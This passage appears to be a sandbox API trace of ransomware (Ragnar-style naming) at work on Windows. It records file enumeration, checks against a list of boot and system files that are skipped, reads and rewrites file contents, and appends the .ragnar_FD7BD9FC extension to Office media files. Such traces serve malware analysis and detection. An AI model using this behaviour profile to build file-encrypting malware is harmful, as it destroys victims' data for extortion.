lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.734] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.734] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27ee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27ee, lpOverlapped=0x0) returned 1 [0095.735] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.735] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.735] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27ee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27ee, lpOverlapped=0x0) returned 1 [0095.735] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.735] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.735] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x27ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.735] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.735] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.736] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.736] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.736] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.736] GetProcessHeap () returned 0x580000 [0095.736] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.736] CloseHandle (hObject=0x104) returned 1 [0095.736] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" [0095.736] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.ragnar_FD7BD9FC" [0095.736] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.737] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0095.737] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.737] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0234687.GIF" | out: lpString1="J0234687.GIF") returned="J0234687.GIF" [0095.737] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF") returned=".GIF" [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="autorun.inf") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="boot.ini") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="bootfont.bin") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="bootsect.bak") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="bootmgr") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="bootmgr.efi") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="bootmgfw.efi") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="desktop.ini") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="iconcache.db") returned 1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="ntldr") returned -1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="ntuser.dat") returned -1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="ntuser.dat.log") returned -1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="ntuser.ini") returned -1 [0095.737] lstrcmpiW (lpString1="J0234687.GIF", lpString2="thumbs.db") returned -1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0095.737] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0095.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif")) returned 0x20 [0095.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.738] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3407) returned 1 [0095.738] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xd46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.738] GetProcessHeap () returned 0x580000 [0095.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.738] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.739] VirtualAlloc (lpAddress=0x0, dwSize=0xd4f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.739] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.739] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.740] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd4f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd4f, lpOverlapped=0x0) returned 1 [0095.740] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.740] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd4f, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.740] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd4f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd4f, lpOverlapped=0x0) returned 1 [0095.740] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd4f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.740] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.740] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xd4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.740] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.740] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.740] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.740] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.740] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.740] GetProcessHeap () returned 0x580000 [0095.740] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.741] CloseHandle (hObject=0x104) returned 1 [0095.741] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" [0095.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.ragnar_FD7BD9FC" [0095.741] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.742] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0095.742] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.742] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0235241.WMF" | out: lpString1="J0235241.WMF") returned="J0235241.WMF" [0095.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF") returned=".WMF" [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="autorun.inf") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="boot.ini") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="bootfont.bin") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="bootsect.bak") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="bootmgr") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="bootmgr.efi") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="bootmgfw.efi") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="desktop.ini") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="iconcache.db") returned 1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="ntldr") returned -1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="ntuser.dat") returned -1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="ntuser.dat.log") returned -1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="ntuser.ini") returned -1 [0095.742] lstrcmpiW (lpString1="J0235241.WMF", lpString2="thumbs.db") returned -1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.742] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf")) returned 0x20 [0095.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.743] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6176) returned 1 [0095.743] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1817, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.743] GetProcessHeap () returned 0x580000 [0095.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.743] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.744] VirtualAlloc (lpAddress=0x0, dwSize=0x1820, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.744] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.745] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.745] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1820, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1820, lpOverlapped=0x0) returned 1 [0095.745] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.745] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1820, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.746] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1820, lpOverlapped=0x0) returned 1 [0095.746] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1820, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.746] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.746] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1820, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.746] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.746] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.746] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.746] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.746] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.746] GetProcessHeap () returned 0x580000 [0095.746] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.746] CloseHandle (hObject=0x104) returned 1 [0095.746] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" [0095.746] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.ragnar_FD7BD9FC" [0095.746] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.748] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0095.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.748] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0235319.WMF" | out: lpString1="J0235319.WMF") returned="J0235319.WMF" [0095.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF") returned=".WMF" [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="autorun.inf") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="boot.ini") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="bootfont.bin") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="bootsect.bak") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="bootmgr") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="bootmgr.efi") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="bootmgfw.efi") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="desktop.ini") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="iconcache.db") returned 1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="ntldr") returned -1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="ntuser.dat") returned -1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="ntuser.dat.log") returned -1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="ntuser.ini") returned -1 [0095.748] lstrcmpiW (lpString1="J0235319.WMF", lpString2="thumbs.db") returned -1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.748] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf")) returned 0x20 [0095.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.749] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2596) returned 1 [0095.749] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.749] GetProcessHeap () returned 0x580000 [0095.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.749] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.751] VirtualAlloc (lpAddress=0x0, dwSize=0xa24, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.751] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.751] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.751] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa24, lpOverlapped=0x0) returned 1 [0095.751] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.751] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa24, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.751] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa24, lpOverlapped=0x0) returned 1 